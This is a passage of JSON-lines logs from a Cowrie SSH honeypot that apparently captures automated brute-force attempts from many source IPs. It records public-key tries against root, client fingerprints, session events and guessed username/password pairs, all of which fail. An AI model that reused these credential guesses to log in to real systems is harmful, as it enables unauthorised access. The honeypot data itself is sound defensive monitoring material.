AAAAB3NzaC1yc2EAAAADAQABAAACAQDFH6Vfl036fbf59dznm7IesU47UcXT1prcupGvnZjKp3okoFWGJHlp7Sg9z7A0o3uZCsJV6IBrSixDde3c+sC5MwL02gC7bmNDdBXOhS1l4kTQT42dV2oLiijAJP2lML0wvTRzmO0Wlmv9SHhhqiv4krMLN4GBmMvg/sYsZnuyLHf0tjXByhY0a+Pf91XzgxkjbH3eAsxCzqQ3pYNRhLfYpOr2YB5ZXy0uC0SahdV5zmXPWxbPUNaVfYnTHykF2lz3+cPXpKOCDYHrhcsqGITIxSt+7NF22jCvrTW6/m7j02y36TBdt0FISeDd8Qt+y6k106Xd3hx+YpWLOhdLss5lvrZFROY9FxMLITxtH4AwZbEy+65vHCsUSY5fjAU3M8gwK9r+SU97B70YTxbyDW/o4p5MDpPUZYqQ26f1KYTDQMn9UGWL5JoQQOzV3/0t4mdw2YH5pj0d4BHJXdHIlD5oCL362VRV0XZIHFyVrlC4pPJ/ihwBMs5v5HRV96IRuCh5T5wREunJJc/o+fdRFfGoJitDvKBloNOXLe/qq1egx0k7m2iuYvdjSeknyGpbfi4Na2owPSoEeuYUDArl8BSY86dCLY9qkeHwzY81c4RZJdW/8heANwC2AWw+5AMdbRAwnCS7wokBZQoxikXgiOkd5OlO1Ix2O9fU3Z15dWbCUw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:1f:dc:d7:b1:90:e4:12:df:64:7f:45:84:e5:5e:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:46.734116Z","src_ip":"191.101.33.114","session":"e0b66176b77e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:1f:dc:d7:b1:90:e4:12:df:64:7f:45:84:e5:5e:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFH6Vfl036fbf59dznm7IesU47UcXT1prcupGvnZjKp3okoFWGJHlp7Sg9z7A0o3uZCsJV6IBrSixDde3c+sC5MwL02gC7bmNDdBXOhS1l4kTQT42dV2oLiijAJP2lML0wvTRzmO0Wlmv9SHhhqiv4krMLN4GBmMvg/sYsZnuyLHf0tjXByhY0a+Pf91XzgxkjbH3eAsxCzqQ3pYNRhLfYpOr2YB5ZXy0uC0SahdV5zmXPWxbPUNaVfYnTHykF2lz3+cPXpKOCDYHrhcsqGITIxSt+7NF22jCvrTW6/m7j02y36TBdt0FISeDd8Qt+y6k106Xd3hx+YpWLOhdLss5lvrZFROY9FxMLITxtH4AwZbEy+65vHCsUSY5fjAU3M8gwK9r+SU97B70YTxbyDW/o4p5MDpPUZYqQ26f1KYTDQMn9UGWL5JoQQOzV3/0t4mdw2YH5pj0d4BHJXdHIlD5oCL362VRV0XZIHFyVrlC4pPJ/ihwBMs5v5HRV96IRuCh5T5wREunJJc/o+fdRFfGoJitDvKBloNOXLe/qq1egx0k7m2iuYvdjSeknyGpbfi4Na2owPSoEeuYUDArl8BSY86dCLY9qkeHwzY81c4RZJdW/8heANwC2AWw+5AMdbRAwnCS7wokBZQoxikXgiOkd5OlO1Ix2O9fU3Z15dWbCUw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:46.738763Z","src_ip":"191.101.33.114","session":"e0b66176b77e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:c9:98:6d:74:ab:3d:eb:79:79:21:eb:d1:f8:5c:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpL1aZ/DOaSMoJvhuHpfcJU+9Wzq31dFaS2kkdLX0l48dXfGEzBolN93FOYmgC9cmC/ZXuJ/E9uW/srUM80vJ4pmHPEOlMROQt12dXktN3n0Pp1Fumd0fFD/WAq8mOHxOcT8Iv3IaaCQTWrLNTEXtIu4i76vUJN6LHUq36UU3p/X0aZTN/tfJRlolvBBgRQkM7Qcyg6xQcU6eAQGygnY1+AZTZwyIfvjks6nQ1qUnwdMuMLw+9yeMwe2l4de0g23aGh7z9FHtA2gaYIM6g7UMNOGbcxO4fZLLN60iBBLgMhBEOyUjHBL328lzLo0o2SMYjV1SiBdoTl0twzAZTCGZPDvW9VOCLGAZ+XBn7N60WCT40TepzdjaoI2ShZmM8Dr2SM0XNLqYaUCFpccTkHtsguac+xZAgGxOjsxxr/qbJXH0J1SOpB0awv150Jg7DMv6M7Wd4lV8pcDxDnu2nIhAVBEZegLu1t9JzrowB66p7AZWCM/L4Vp9xOsGJxdOnNd5yGAVgKERpYHy8wNUEpEjKPlJUWqGcjB1g3JFhUh4rBgEl7z0XQvr/BJHHJnxFUo11RMfO1s2OjvJYwhPUJL+T3ZNAUWzMOpa0x5G40GlN6vikQSwn+amhGhtyyt63q6x61lms/wdcgWRsdKt0MOgQJVWnIcEbq3AIk1R9lLrYxQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:c9:98:6d:74:ab:3d:eb:79:79:21:eb:d1:f8:5c:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:46.767818Z","src_ip":"191.101.33.114","session":"e0b66176b77e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:c9:98:6d:74:ab:3d:eb:79:79:21:eb:d1:f8:5c:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpL1aZ/DOaSMoJvhuHpfcJU+9Wzq31dFaS2kkdLX0l48dXfGEzBolN93FOYmgC9cmC/ZXuJ/E9uW/srUM80vJ4pmHPEOlMROQt12dXktN3n0Pp1Fumd0fFD/WAq8mOHxOcT8Iv3IaaCQTWrLNTEXtIu4i76vUJN6LHUq36UU3p/X0aZTN/tfJRlolvBBgRQkM7Qcyg6xQcU6eAQGygnY1+AZTZwyIfvjks6nQ1qUnwdMuMLw+9yeMwe2l4de0g23aGh7z9FHtA2gaYIM6g7UMNOGbcxO4fZLLN60iBBLgMhBEOyUjHBL328lzLo0o2SMYjV1SiBdoTl0twzAZTCGZPDvW9VOCLGAZ+XBn7N60WCT40TepzdjaoI2ShZmM8Dr2SM0XNLqYaUCFpccTkHtsguac+xZAgGxOjsxxr/qbJXH0J1SOpB0awv150Jg7DMv6M7Wd4lV8pcDxDnu2nIhAVBEZegLu1t9JzrowB66p7AZWCM/L4Vp9xOsGJxdOnNd5yGAVgKERpYHy8wNUEpEjKPlJUWqGcjB1g3JFhUh4rBgEl7z0XQvr/BJHHJnxFUo11RMfO1s2OjvJYwhPUJL+T3ZNAUWzMOpa0x5G40GlN6vikQSwn+amhGhtyyt63q6x61lms/wdcgWRsdKt0MOgQJVWnIcEbq3AIk1R9lLrYxQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:46.772013Z","src_ip":"191.101.33.114","session":"e0b66176b77e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:51:af:ce:2b:90:ee:2f:48:96:59:db:52:6a:5d:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBfivsRiwIoTSfM4NHnMzg2mjMhqOeoLtXZCBJQTw7RPfQfB3LsqhWPLAbkcZbiS/BKRD5w9H2maz958/mUdyKOjDS31eaaC9Kzak+MuiWOLGHQurFdE9SnJWYvG9/EpA9PQcXS7D7JeXJWlWmtNo4ITwxEKzBBkSxP31CTZYUPIpPRI4J+9c3Q0KfPccvqjuzS8jQLge2V0qPC39NJAV2zdRp6m1+G9vzn6jSRWZoc1ktsEPOxlSLH/DM441vo3SyDsmTsPHfFW7BRowmUMw62+OjTvb4iFmETRqspwYw9qz/7dc9m7AM2sb4MjPpuvv4o9P7Aesg04/Pj5TzkOGDNdounqFIGx4qD1J3AXxNEkZhaDHFTRz4vRbf+YOVI784zSVxeIvMBtP0G5Wr0gz0yt2pJO3strF+H7+Lcbgwqgij6SNka2v7qCxu7jm2Fsp1rDlG7MDNBfN+f80PVTtR9y424EW9Cuu4mDKqlWZ5KeObQewCCfx6NSIhxlZYbuZfNwZ5FyprF6jwD6rChYHAHWlvI5eu19nmOtPMPB0kpZ23pQ84hHWwPsMlhe71otxMaBMxEWASgFqKVdvsQAjzn94cEuAaRqGHV1S8ShwkWi5GUoc0WHtTsqf8093NeqvWjX3jj+WCV9JDOyjldGImyXTxl9kURja2ymwA4UtBCw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:51:af:ce:2b:90:ee:2f:48:96:59:db:52:6a:5d:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:46.802182Z","src_ip":"191.101.33.114","session":"e0b66176b77e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:51:af:ce:2b:90:ee:2f:48:96:59:db:52:6a:5d:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBfivsRiwIoTSfM4NHnMzg2mjMhqOeoLtXZCBJQTw7RPfQfB3LsqhWPLAbkcZbiS/BKRD5w9H2maz958/mUdyKOjDS31eaaC9Kzak+MuiWOLGHQurFdE9SnJWYvG9/EpA9PQcXS7D7JeXJWlWmtNo4ITwxEKzBBkSxP31CTZYUPIpPRI4J+9c3Q0KfPccvqjuzS8jQLge2V0qPC39NJAV2zdRp6m1+G9vzn6jSRWZoc1ktsEPOxlSLH/DM441vo3SyDsmTsPHfFW7BRowmUMw62+OjTvb4iFmETRqspwYw9qz/7dc9m7AM2sb4MjPpuvv4o9P7Aesg04/Pj5TzkOGDNdounqFIGx4qD1J3AXxNEkZhaDHFTRz4vRbf+YOVI784zSVxeIvMBtP0G5Wr0gz0yt2pJO3strF+H7+Lcbgwqgij6SNka2v7qCxu7jm2Fsp1rDlG7MDNBfN+f80PVTtR9y424EW9Cuu4mDKqlWZ5KeObQewCCfx6NSIhxlZYbuZfNwZ5FyprF6jwD6rChYHAHWlvI5eu19nmOtPMPB0kpZ23pQ84hHWwPsMlhe71otxMaBMxEWASgFqKVdvsQAjzn94cEuAaRqGHV1S8ShwkWi5GUoc0WHtTsqf8093NeqvWjX3jj+WCV9JDOyjldGImyXTxl9kURja2ymwA4UtBCw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:46.806761Z","src_ip":"191.101.33.114","session":"e0b66176b77e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:46.841498Z","src_ip":"191.101.33.114","session":"e0b66176b77e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:47.447070Z","src_ip":"62.173.38.229","session":"232406056366","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.245","src_port":50642,"dst_ip":"10.17.0.5","dst_port":22,"session":"e67b33775e74","protocol":"ssh","message":"New connection: 181.188.176.245:50642 (10.17.0.5:22) [session: e67b33775e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:45:05.425316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:45:05.431092Z","src_ip":"181.188.176.245","session":"e67b33775e74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:45:05.593237Z","src_ip":"181.188.176.245","session":"e67b33775e74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admintest","message":"login attempt [root/admintest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:45:06.280600Z","src_ip":"181.188.176.245","session":"e67b33775e74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:45:07.459906Z","src_ip":"181.188.176.245","session":"e67b33775e74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":14494,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e603142b9f6","protocol":"ssh","message":"New connection: 38.93.206.2:14494 (10.17.0.5:22) [session: 7e603142b9f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:45:28.232276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:45:28.237971Z","src_ip":"38.93.206.2","session":"7e603142b9f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:45:28.289768Z","src_ip":"38.93.206.2","session":"7e603142b9f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321aa","message":"login attempt [root/123321aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:45:28.442181Z","src_ip":"38.93.206.2","session":"7e603142b9f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:45:29.498684Z","src_ip":"38.93.206.2","session":"7e603142b9f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.102.61","src_port":38208,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f3e851325f4","protocol":"ssh","message":"New connection: 43.128.102.61:38208 (10.17.0.5:22) [session: 6f3e851325f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:45:30.998178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:45:31.003312Z","src_ip":"43.128.102.61","session":"6f3e851325f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:45:31.242059Z","src_ip":"43.128.102.61","session":"6f3e851325f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:45:32.228307Z","src_ip":"43.128.102.61","session":"6f3e851325f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:45:33.469467Z","src_ip":"43.128.102.61","session":"6f3e851325f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":59645,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f2f55db9040","protocol":"ssh","message":"New connection: 45.66.52.41:59645 (10.17.0.5:22) [session: 7f2f55db9040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:45:53.688789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:45:53.693067Z","src_ip":"45.66.52.41","session":"7f2f55db9040","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:45:53.868178Z","src_ip":"45.66.52.41","session":"7f2f55db9040","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456QWERTY","message":"login attempt [root/123456QWERTY] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:45:54.721577Z","src_ip":"45.66.52.41","session":"7f2f55db9040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:45:55.901616Z","src_ip":"45.66.52.41","session":"7f2f55db9040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":48286,"dst_ip":"10.17.0.5","dst_port":22,"session":"010da802d8b8","protocol":"ssh","message":"New connection: 80.94.92.184:48286 (10.17.0.5:22) [session: 010da802d8b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:45:59.975560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:00.035179Z","src_ip":"80.94.92.184","session":"010da802d8b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:00.223926Z","src_ip":"80.94.92.184","session":"010da802d8b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12","message":"login attempt [solv/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:01.377038Z","src_ip":"80.94.92.184","session":"010da802d8b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:02.637005Z","src_ip":"80.94.92.184","session":"010da802d8b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.173.38.229","src_port":58574,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a4d8db9971f","protocol":"ssh","message":"New connection: 62.173.38.229:58574 (10.17.0.5:22) [session: 7a4d8db9971f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:10.408245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:10.413347Z","src_ip":"62.173.38.229","session":"7a4d8db9971f","protocol":"ssh"}
